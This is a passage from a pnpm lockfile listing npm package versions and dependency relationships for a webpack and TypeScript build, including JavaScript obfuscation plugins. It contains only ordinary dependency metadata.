| dependencies: 1238 | es-errors: 1.3.0 1239 | function-bind: 1.1.2 1240 | has-proto: 1.0.3 1241 | has-symbols: 1.0.3 1242 | hasown: 2.0.2 1243 | 1244 | glob-to-regexp@0.4.1: {} 1245 | 1246 | gopd@1.0.1: 1247 | dependencies: 1248 | get-intrinsic: 1.2.4 1249 | 1250 | graceful-fs@4.2.11: {} 1251 | 1252 | has-flag@4.0.0: {} 1253 | 1254 | has-property-descriptors@1.0.2: 1255 | dependencies: 1256 | es-define-property: 1.0.0 1257 | 1258 | has-proto@1.0.3: {} 1259 | 1260 | has-symbols@1.0.3: {} 1261 | 1262 | has-tostringtag@1.0.2: 1263 | dependencies: 1264 | has-symbols: 1.0.3 1265 | 1266 | hasown@2.0.2: 1267 | dependencies: 1268 | function-bind: 1.1.2 1269 | 1270 | import-local@3.2.0: 1271 | dependencies: 1272 | pkg-dir: 4.2.0 1273 | resolve-cwd: 3.0.0 1274 | 1275 | inherits@2.0.3: {} 1276 | 1277 | interpret@3.1.1: {} 1278 | 1279 | inversify@6.0.1: {} 1280 | 1281 | is-arguments@1.1.1: 1282 | dependencies: 1283 | call-bind: 1.0.7 1284 | has-tostringtag: 1.0.2 1285 | 1286 | is-buffer@1.1.6: {} 1287 | 1288 | is-callable@1.2.7: {} 1289 | 1290 | is-core-module@2.15.1: 1291 | dependencies: 1292 | hasown: 2.0.2 1293 | 1294 | is-generator-function@1.0.10: 1295 | dependencies: 1296 | has-tostringtag: 1.0.2 1297 | 1298 | is-nan@1.3.2: 1299 | dependencies: 1300 | call-bind: 1.0.7 1301 | define-properties: 1.2.1 1302 | 1303 | is-number@7.0.0: {} 1304 | 1305 | is-plain-object@2.0.4: 1306 | dependencies: 1307 | isobject: 3.0.1 1308 | 1309 | is-typed-array@1.1.13: 1310 | dependencies: 1311 | which-typed-array: 1.1.15 1312 | 1313 | isexe@2.0.0: {} 1314 | 1315 | isobject@3.0.1: {} 1316 | 1317 | javascript-obfuscator@4.1.1: 1318 | dependencies: 1319 | '@javascript-obfuscator/escodegen': 2.3.0 1320 | '@javascript-obfuscator/estraverse': 5.4.0 1321 | acorn: 8.8.2 1322 | assert: 2.0.0 1323 | chalk: 4.1.2 1324 | chance: 1.1.9 1325 | class-validator: 0.14.1 1326 | commander: 10.0.0 1327 | eslint-scope: 7.1.1 1328 | eslint-visitor-keys: 3.3.0 1329 | fast-deep-equal: 3.1.3 1330 | inversify: 6.0.1 1331 | js-string-escape: 1.0.1 1332 | md5: 2.3.0 1333 | mkdirp: 2.1.3 1334 | multimatch: 5.0.0 1335 | opencollective-postinstall: 2.0.3 1336 | process: 0.11.10 1337 | reflect-metadata: 0.1.13 1338 | source-map-support: 0.5.21 1339 | string-template: 1.0.0 1340 | stringz: 2.1.0 1341 | tslib: 2.5.0 1342 | 1343 | jest-worker@27.5.1: 1344 | dependencies: 1345 | '@types/node': 22.7.2 1346 | merge-stream: 2.0.0 1347 | supports-color: 8.1.1 1348 | 1349 | js-string-escape@1.0.1: {} 1350 | 1351 | json-parse-even-better-errors@2.3.1: {} 1352 | 1353 | json-schema-traverse@0.4.1: {} 1354 | 1355 | json5@2.2.3: {} 1356 | 1357 | kind-of@6.0.3: {} 1358 | 1359 | levn@0.3.0: 1360 | dependencies: 1361 | prelude-ls: 1.1.2 1362 | type-check: 0.3.2 1363 | 1364 | libphonenumber-js@1.11.9: {} 1365 | 1366 | loader-runner@4.3.0: {} 1367 | 1368 | loader-utils@2.0.4: 1369 | dependencies: 1370 | big.js: 5.2.2 1371 | emojis-list: 3.0.0 1372 | json5: 2.2.3 1373 | 1374 | locate-path@5.0.0: 1375 | dependencies: 1376 | p-locate: 4.1.0 1377 | 1378 | md5@2.3.0: 1379 | dependencies: 1380 | charenc: 0.0.2 1381 | crypt: 0.0.2 1382 | is-buffer: 1.1.6 1383 | 1384 | merge-stream@2.0.0: {} 1385 | 1386 | micromatch@4.0.8: 1387 | dependencies: 1388 | braces: 3.0.3 1389 | picomatch: 2.3.1 1390 | 1391 | mime-db@1.52.0: {} 1392 | 1393 | mime-types@2.1.35: 1394 | dependencies: 1395 | mime-db: 1.52.0 1396 | 1397 | minimatch@3.1.2: 1398 | dependencies: 1399 | brace-expansion: 1.1.11 1400 | 1401 | mkdirp@2.1.3: {} 1402 | 1403 | multi-stage-sourcemap@0.3.1: 1404 | dependencies: 1405 | source-map: 0.1.43 1406 | 1407 | multimatch@5.0.0: 1408 | dependencies: 1409 | '@types/minimatch': 3.0.5 1410 | array-differ: 3.0.0 1411 | array-union: 2.1.0 1412 | arrify: 2.0.1 1413 | minimatch: 3.1.2 1414 | 1415 | neo-async@2.6.2: {} 1416 | 1417 | node-releases@2.0.18: {} 1418 | 1419 | object-is@1.1.6: 1420 | dependencies: 1421 | call-bind: 1.0.7 1422 | define-properties: 1.2.1 1423 | 1424 | object-keys@1.1.1: {} 1425 | 1426 | opencollective-postinstall@2.0.3: {} 1427 | 1428 | optionator@0.8.3: 1429 | dependencies: 1430 | deep-is: 0.1.4 1431 | fast-levenshtein: 2.0.6 1432 | levn: 0.3.0 1433 | prelude-ls: 1.1.2 1434 | type-check: 0.3.2 1435 | word-wrap: 1.2.5 1436 | 1437 | p-limit@2.3.0: 1438 | dependencies: 1439 | p-try: 2.2.0 1440 | 1441 | p-locate@4.1.0: 1442 | dependencies: 1443 | p-limit: 2.3.0 1444 | 1445 | p-try@2.2.0: {} 1446 | 1447 | path-exists@4.0.0: {} 1448 | 1449 | path-key@3.1.1: {} 1450 | 1451 | path-parse@1.0.7: {} 1452 | 1453 | path@0.12.7: 1454 | dependencies: 1455 | process: 0.11.10 1456 | util: 0.10.4 1457 | 1458 | picocolors@1.1.0: {} 1459 | 1460 | picomatch@2.3.1: {} 1461 | 1462 | pkg-dir@4.2.0: 1463 | dependencies: 1464 | find-up: 4.1.0 1465 | 1466 | possible-typed-array-names@1.0.0: {} 1467 | 1468 | prelude-ls@1.1.2: {} 1469 | 1470 | process@0.11.10: {} 1471 | 1472 | punycode@2.3.1: {} 1473 | 1474 | randombytes@2.1.0: 1475 | dependencies: 1476 | safe-buffer: 5.2.1 1477 | 1478 | rechoir@0.8.0: 1479 | dependencies: 1480 | resolve: 1.22.8 1481 | 1482 | reflect-metadata@0.1.13: {} 1483 | 1484 | resolve-cwd@3.0.0: 1485 | dependencies: 1486 | resolve-from: 5.0.0 1487 | 1488 | resolve-from@5.0.0: {} 1489 | 1490 | resolve@1.22.8: 1491 | dependencies: 1492 | is-core-module: 2.15.1 1493 | path-parse: 1.0.7 1494 | supports-preserve-symlinks-flag: 1.0.0 1495 | 1496 | safe-buffer@5.2.1: {} 1497 | 1498 | schema-utils@3.3.0: 1499 | dependencies: 1500 | '@types/json-schema': 7.0.15 1501 | ajv: 6.12.6 1502 | ajv-keywords: 3.5.2(ajv@6.12.6) 1503 | 1504 | semver@7.6.3: {} 1505 | 1506 | serialize-javascript@6.0.2: 1507 | dependencies: 1508 | randombytes: 2.1.0 1509 | 1510 | set-function-length@1.2.2: 1511 | dependencies: 1512 | define-data-property: 1.1.4 1513 | es-errors: 1.3.0 1514 | function-bind: 1.1.2 1515 | get-intrinsic: 1.2.4 1516 | gopd: 1.0.1 1517 | has-property-descriptors: 1.0.2 1518 | 1519 | shallow-clone@3.0.1: 1520 | dependencies: 1521 | kind-of: 6.0.3 1522 | 1523 | shebang-command@2.0.0: 1524 | dependencies: 1525 | shebang-regex: 3.0.0 1526 | 1527 | shebang-regex@3.0.0: {} 1528 | 1529 | source-list-map@2.0.1: {} 1530 | 1531 | source-map-support@0.5.21: 1532 | dependencies: 1533 | buffer-from: 1.1.2 1534 | source-map: 0.6.1 1535 | 1536 | source-map@0.1.43: 1537 | dependencies: 1538 | amdefine: 1.0.1 1539 | 1540 | source-map@0.6.1: {} 1541 | 1542 | source-map@0.7.4: {} 1543 | 1544 | string-template@1.0.0: {} 1545 | 1546 | stringz@2.1.0: 1547 | dependencies: 1548 | char-regex: 1.0.2 1549 | 1550 | supports-color@7.2.0: 1551 | dependencies: 1552 | has-flag: 4.0.0 1553 | 1554 | supports-color@8.1.1: 1555 | dependencies: 1556 | has-flag: 4.0.0 1557 | 1558 | supports-preserve-symlinks-flag@1.0.0: {} 1559 | 1560 | tapable@2.2.1: {} 1561 | 1562 | terser-webpack-plugin@5.3.10(webpack@5.95.0(webpack-cli@5.1.4)): 1563 | dependencies: 1564 | '@jridgewell/trace-mapping': 0.3.25 1565 | jest-worker: 27.5.1 1566 | schema-utils: 3.3.0 1567 | serialize-javascript: 6.0.2 1568 | terser: 5.33.0 1569 | webpack: 5.95.0(webpack-cli@5.1.4) 1570 | 1571 | terser@5.33.0: 1572 | dependencies: 1573 | '@jridgewell/source-map': 0.3.6 1574 | acorn: 8.12.1 1575 | commander: 2.20.3 1576 | source-map-support: 0.5.21 1577 | 1578 | to-regex-range@5.0.1: 1579 | dependencies: 1580 | is-number: 7.0.0 1581 | 1582 | ts-loader@9.5.1(typescript@5.6.2)(webpack@5.95.0(webpack-cli@5.1.4)): 1583 | dependencies: 1584 | chalk: 4.1.2 1585 | enhanced-resolve: 5.17.1 1586 | micromatch: 4.0.8 1587 | semver: 7.6.3 1588 | source-map: 0.7.4 1589 | typescript: 5.6.2 1590 | webpack: 5.95.0(webpack-cli@5.1.4) 1591 | 1592 | tslib@2.5.0: {} 1593 | 1594 | type-check@0.3.2: 1595 | dependencies: 1596 | prelude-ls: 1.1.2 1597 | 1598 | typescript@5.6.2: {} 1599 | 1600 | undici-types@6.19.8: {} 1601 | 1602 | update-browserslist-db@1.1.0(browserslist@4.24.0): 1603 | dependencies: 1604 | browserslist: 4.24.0 1605 | escalade: 3.2.0 1606 | picocolors: 1.1.0 1607 | 1608 | uri-js@4.4.1: 1609 | dependencies: 1610 | punycode: 2.3.1 1611 | 1612 | util@0.10.4: 1613 | dependencies: 1614 | inherits: 2.0.3 1615 | 1616 | util@0.12.5: 1617 | dependencies: 1618 | inherits: 2.0.3 1619 | is-arguments: 1.1.1 1620 | is-generator-function: 1.0.10 1621 | is-typed-array: 1.1.13 1622 | which-typed-array: 1.1.15 1623 | 1624 | validator@13.12.0: {} 1625 | 1626 | watchpack@2.4.2: 1627 | dependencies: 1628 | glob-to-regexp: 0.4.1 1629 | graceful-fs: 4.2.11 1630 | 1631 | webpack-cli@5.1.4(webpack@5.95.0): 1632 | dependencies: 1633 | '@discoveryjs/json-ext': 0.5.7 1634 | '@webpack-cli/configtest': 2.1.1(webpack-cli@5.1.4(webpack@5.95.0))(webpack@5.95.0(webpack-cli@5.1.4)) 1635 | '@webpack-cli/info': 2.0.2(webpack-cli@5.1.4(webpack@5.95.0))(webpack@5.95.0(webpack-cli@5.1.4)) 1636 | '@webpack-cli/serve': 2.0.5(webpack-cli@5.1.4(webpack@5.95.0))(webpack@5.95.0(webpack-cli@5.1.4)) 1637 | colorette: 2.0.20 1638 | commander: 10.0.1 1639 | cross-spawn: 7.0.3 1640 | envinfo: 7.14.0 1641 | fastest-levenshtein: 1.0.16 1642 | import-local: 3.2.0 1643 | interpret: 3.1.1 1644 | rechoir: 0.8.0 1645 | webpack: 5.95.0(webpack-cli@5.1.4) 1646 | webpack-merge: 5.10.0 1647 | 1648 | webpack-merge@5.10.0: 1649 | dependencies: 1650 | clone-deep: 4.0.1 1651 | flat: 5.0.2 1652 | wildcard: 2.0.1 1653 | 1654 | webpack-obfuscator@3.5.1(javascript-obfuscator@4.1.1)(webpack@5.95.0(webpack-cli@5.1.4)): 1655 | dependencies: 1656 | javascript-obfuscator: 4.1.1 1657 | loader-utils: 2.0.4 1658 | multi-stage-sourcemap: 0.3.1 1659 | multimatch: 5.0.0 1660 | webpack: 5.95.0(webpack-cli@5.1.4) 1661 | webpack-sources: 2.3.1 1662 | 1663 | webpack-sources@2.3.1: 1664 | dependencies: 1665 | source-list-map: 2.0.1 1666 | source-map: 0.6.1 1667 | 1668 | webpack-sources@3.2.3: {} 1669 | 1670 | webpack@5.95.0(webpack-cli@5.1.4): 1671 | dependencies: 1672 | '@types/estree': 1.0.6 1673 | '@webassemblyjs/ast': 1.12.1 1674 | '@webassemblyjs/wasm-edit': 1.12.1 1675 | '@webassemblyjs/wasm-parser': 1.12.1 1676 | acorn: 8.12.1 1677 | acorn-import-attributes: 1.9.5(acorn@8.12.1) 1678 | browserslist: 4.24.0 1679 | chrome-trace-event: 1.0.4 1680 | enhanced-resolve: 5.17.1 1681 | es-module-lexer: 1.5.4 1682 | eslint-scope: 5.1.1 1683 | events: 3.3.0 1684 | glob-to-regexp: 0.4.1 1685 | graceful-fs: 4.2.11 1686 | json-parse-even-better-errors: 2.3.1 1687 | loader-runner: 4.3.0 1688 | mime-types: 2.1.35 1689 | neo-async: 2.6.2 1690 | schema-utils: 3.3.0 1691 | tapable: 2.2.1 1692 | terser-webpack-plugin: 5.3.10(webpack@5.95.0(webpack-cli@5.1.4)) 1693 | watchpack: 2.4.2 1694 | webpack-sources: 3.2.3 1695 | optionalDependencies: 1696 | webpack-cli: 5.1.4(webpack@5.95.0) 1697 | transitivePeerDependencies: 1698 | - '@swc/core' 1699 | - esbuild 1700 | - uglify-js 1701 | 1702 | which-typed-array@1.1.15: 1703 | dependencies: 1704 | available-typed-arrays: 1.0.7 1705 | call-bind: 1.0.7 1706 | for-each: 0.3.3 1707 | gopd: 1.0.1 1708 | has-tostringtag: 1.0.2 1709 | 1710 | which@2.0.2: 1711 | dependencies: 1712 | isexe: 2.0.0 1713 | 1714 | wildcard@2.0.1: {} 1715 | 1716 | word-wrap@1.2.5: {} 1717 | --------------------------------------------------------------------------------